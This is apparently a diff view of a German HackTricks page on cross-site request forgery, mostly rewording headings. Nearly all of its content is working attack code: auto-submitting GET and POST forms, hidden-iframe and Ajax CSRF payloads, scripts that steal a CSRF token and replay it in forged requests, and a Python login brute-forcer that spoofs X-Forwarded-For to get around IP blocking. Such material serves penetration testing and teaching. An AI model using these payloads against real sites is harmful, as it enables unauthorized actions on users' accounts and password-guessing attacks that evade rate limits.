</html>
|
||||||
|
```
|
||||||
|
### **Exfiltrieren von CSRF Token**
|
||||||
|
|
||||||
|
Wenn ein **CSRF token** als **Schutz** verwendet wird, kannst du versuchen, **es zu exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) Schwachstelle ausnutzt.
|
||||||
|
|
||||||
|
### **GET mit HTML-Tags**
|
||||||
```xml
|
```xml
|
||||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||||
<h1>404 - Page not found</h1>
|
<h1>404 - Page not found</h1>
|
||||||
The URL you are requesting is no longer available
|
The URL you are requesting is no longer available
|
||||||
```
|
```
|
||||||
Weitere HTML5-Tags, die verwendet werden können, um automatisch eine GET request zu senden, sind:
|
Weitere HTML5-Tags, die automatisch eine GET-Anfrage senden können, sind:
|
||||||
```html
|
```html
|
||||||
<iframe src="..."></iframe>
|
<iframe src="..."></iframe>
|
||||||
<script src="..."></script>
|
<script src="..."></script>
|
||||||
@ -263,7 +346,7 @@ background: url("...");
|
|||||||
</video>
|
</video>
|
||||||
</audio>
|
</audio>
|
||||||
```
|
```
|
||||||
### Formular-GET-Anfrage
|
### Formular GET-Anfrage
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||||
@ -309,7 +392,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### Formular-POST-Anfrage durch iframe
|
### Formular-POST-Anfrage über iframe
|
||||||
```html
|
```html
|
||||||
<!--
|
<!--
|
||||||
The request is sent through the iframe withuot reloading the page
|
The request is sent through the iframe withuot reloading the page
|
||||||
@ -332,7 +415,7 @@ document.forms[0].submit()
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### **Ajax POST request**
|
### **Ajax POST-Anfrage**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
var xh
|
var xh
|
||||||
@ -402,7 +485,7 @@ body += "--" + boundary + "--"
|
|||||||
//xhr.send(body);
|
//xhr.send(body);
|
||||||
xhr.sendAsBinary(body)
|
xhr.sendAsBinary(body)
|
||||||
```
|
```
|
||||||
### Form POST request aus einem iframe
|
### Formular-POST-Anfrage innerhalb eines iframe
|
||||||
```html
|
```html
|
||||||
<--! expl.html -->
|
<--! expl.html -->
|
||||||
|
|
||||||
@ -426,7 +509,7 @@ document.getElementById("formulario").submit()
|
|||||||
</body>
|
</body>
|
||||||
</body>
|
</body>
|
||||||
```
|
```
|
||||||
### **CSRF Token stehlen und eine POST request senden**
|
### **CSRF-Token stehlen und eine POST-Anfrage senden**
|
||||||
```javascript
|
```javascript
|
||||||
function submitFormWithTokenJS(token) {
|
function submitFormWithTokenJS(token) {
|
||||||
var xhr = new XMLHttpRequest()
|
var xhr = new XMLHttpRequest()
|
||||||
@ -473,7 +556,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
|||||||
var POST_URL = "http://google.com?param=VALUE"
|
var POST_URL = "http://google.com?param=VALUE"
|
||||||
getTokenJS()
|
getTokenJS()
|
||||||
```
|
```
|
||||||
### **CSRF Token stehlen und eine Post request mittels iframe, form und Ajax senden**
|
### **CSRF Token stehlen und eine POST-Anfrage mit iframe, form und Ajax senden**
|
||||||
```html
|
```html
|
||||||
<form
|
<form
|
||||||
id="form1"
|
id="form1"
|
||||||
@ -501,7 +584,7 @@ style="display:none"
|
|||||||
src="http://google.com?param=VALUE"
|
src="http://google.com?param=VALUE"
|
||||||
onload="javascript:f1();"></iframe>
|
onload="javascript:f1();"></iframe>
|
||||||
```
|
```
|
||||||
### **CSRF Token stehlen und eine POST-Anfrage mit einem iframe und einem form senden**
|
### **CSRF Token stehlen und eine POST-Anfrage mithilfe von iframe und form senden**
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
id="iframe"
|
id="iframe"
|
||||||
@ -534,7 +617,7 @@ document.forms[0].submit.click()
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### **Token stehlen und es mit 2 iframes senden**
|
### **Token stehlen und mit 2 iframes senden**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
var token;
|
var token;
|
||||||
@ -564,7 +647,7 @@ height="600" width="800"></iframe>
|
|||||||
<button type="submit">Submit</button>
|
<button type="submit">Submit</button>
|
||||||
</form>
|
</form>
|
||||||
```
|
```
|
||||||
### **POSTSteal CSRF token mit Ajax und einen POST mit einem Formular senden**
|
### **POSTSteal CSRF-Token mit Ajax stehlen und einen POST mit einem Formular senden**
|
||||||
```html
|
```html
|
||||||
<body onload="getData()">
|
<body onload="getData()">
|
||||||
<form
|
<form
|
||||||
@ -617,7 +700,7 @@ room: username,
|
|||||||
```
|
```
|
||||||
## CSRF Login Brute Force
|
## CSRF Login Brute Force
|
||||||
|
|
||||||
Der Code kann verwendet werden, um ein Login-Formular unter Verwendung eines CSRF token per Brut Force anzugreifen (er nutzt außerdem den Header X-Forwarded-For, um zu versuchen, ein mögliches IP blacklisting zu umgehen):
|
Der Code kann verwendet werden, um ein Login-Formular mithilfe eines CSRF-Tokens per Brute Force anzugreifen (er verwendet außerdem den Header X-Forwarded-For, um eine mögliche IP-Blacklisting zu umgehen):
|
||||||
```python
|
```python
|
||||||
import request
|
import request
|
||||||
import re
|
import re
|
||||||
@ -665,6 +748,7 @@ login(USER, line.strip())
|
|||||||
|
|
||||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||||
|
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
|
||||||
|
|
||||||
## Referenzen
|
## Referenzen
|
||||||
|
|
||||||
@ -673,5 +757,11 @@ login(USER, line.strip())
|
|||||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||||
|
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
|
||||||
|
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
|
||||||
|
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
|
||||||
|
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
|
||||||
|
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
|
||||||
|
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user